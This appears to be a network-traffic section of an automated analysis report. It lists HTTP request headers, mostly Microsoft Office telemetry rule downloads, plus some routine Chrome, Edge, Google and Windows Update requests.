Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=GgWwYzxFGDrwGNu&MD=DyK82kx5 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
